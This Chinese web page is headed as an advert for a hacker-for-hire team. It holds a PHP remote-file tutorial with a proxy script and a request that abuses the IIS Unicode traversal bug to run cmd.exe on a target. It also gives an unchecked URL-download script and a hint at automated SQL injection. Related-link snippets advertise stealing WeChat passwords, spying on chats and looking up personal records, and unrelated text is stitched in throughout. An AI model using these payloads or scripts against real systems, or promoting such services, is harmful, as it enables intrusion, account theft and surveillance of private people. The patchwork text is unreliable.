24小时接单的黑客(先做事后收款黑客团队业务

访客3年前黑客资讯683

1.远程文件

  PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:

  代码

  

  $fp=@Fopen($url,"r") or die ("cannot open $url");

  while($line=@fgets($fp,1024)) {

  $contents.=$line;

  }

  echo $contents; //显示文件内容

  fclose($fp); //关闭文件

  ?>

  以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:

  代码

  /proxy.php?url=http://www.hacker.com.cn/bbs

  这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:

  代码

  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():

  代码

  

  echo "是否允许使用远程文件(allow_url_Fopen)";

  ?php

  if (get_cfg_var("allow_url_Fopen")=="1")

  {

  echo("");

  }

  else echo("");

  ?>

  当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:

  代码

  

  $fp = Fopen($_GET['filename'], 'rb'); //打开文件

  $data = $tmp = '';

  while ( true ) {

  $tmp = fgets($fp, 1024);

  if ( 0 === strlen($tmp) ) {

  break; //跳出while循环

  }

  $data .= $tmp;

  }

  fclose($fp); //关闭文件

  $file=preg_replace("/^.+//","",$filename);//转换文件名

  //write

  $fp = Fopen("$file", 'wb'); //生成文件

  fwrite($fp, $data); //写入数据

  fclose($fp);

  ?>

  在调用Fopen和Fwrite函数时加入"b"标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

  /down.php?filename=http://www.chinaz.com/winrar.zip

  这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的 *** 服务:


相关文章

winadctl - winadctl.exe - 进程信息

winadctl - winadctl.exe - 过程信息内容 过程文档: winadctl 或是 winadctl.exe过程名字: Windows AdTools AdWare叙述:winadc...

双核cpu是什么意思 cpu双核有什么好处?

cpu2核代表什么意思,cpu2核有哪些好处呢? 大伙儿配置电脑的情况下大部分全是挑选2核CPU了,可是这2核究竟是什么含意?你了解这种CPU的功效吗?下边我将为大伙儿系统软件的表述下:...

黑客软件网站,找黑客百度知道,猎场陈香为什么找黑客

1.2测验是否存在SQL注入那假如咱们能一向早于遥控器宣布数据,无人机岂不是就直接运用咱们的数据了?的确是这样的。 假定咱们的操控脚本中设置为6ms跳频,咱们很快能攫取无人机的操控权(7次跳频内)。...

怎么把微信聊天记录找回来吗

1首先,登入微信。在微信主界面底部点击“微信”。所有的聊天记录都在此模块下,里面包含了你与好友的聊天记录列表,2点击一个好友,打开对应的。 删除的微信聊天记录可以恢复吗 怎样把微信聊天记录找回来1.首...

有什么办法可以监控查看他人的微信聊天记录,微信监控软件

有什么办法可以监控查看他人的微信聊天记录,微信监控软件 专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!感兴趣的朋友请您回想一下,最近一段时间以来,当你拿起手机的时候,你第一个...

淘宝客服提成怎么算才高(分享各部门电商客服工资计算方法)

淘宝客服提成怎么算才高(分享各部门电商客服工资计算方法)

电商客服部月度基本荣誉奖 A:市场销售能人 (奖赏200元) 大城市感情组:当月本人销售额>20W,并且是同工作组销售业绩最高的人 曲美利豪组:当月本人销售额...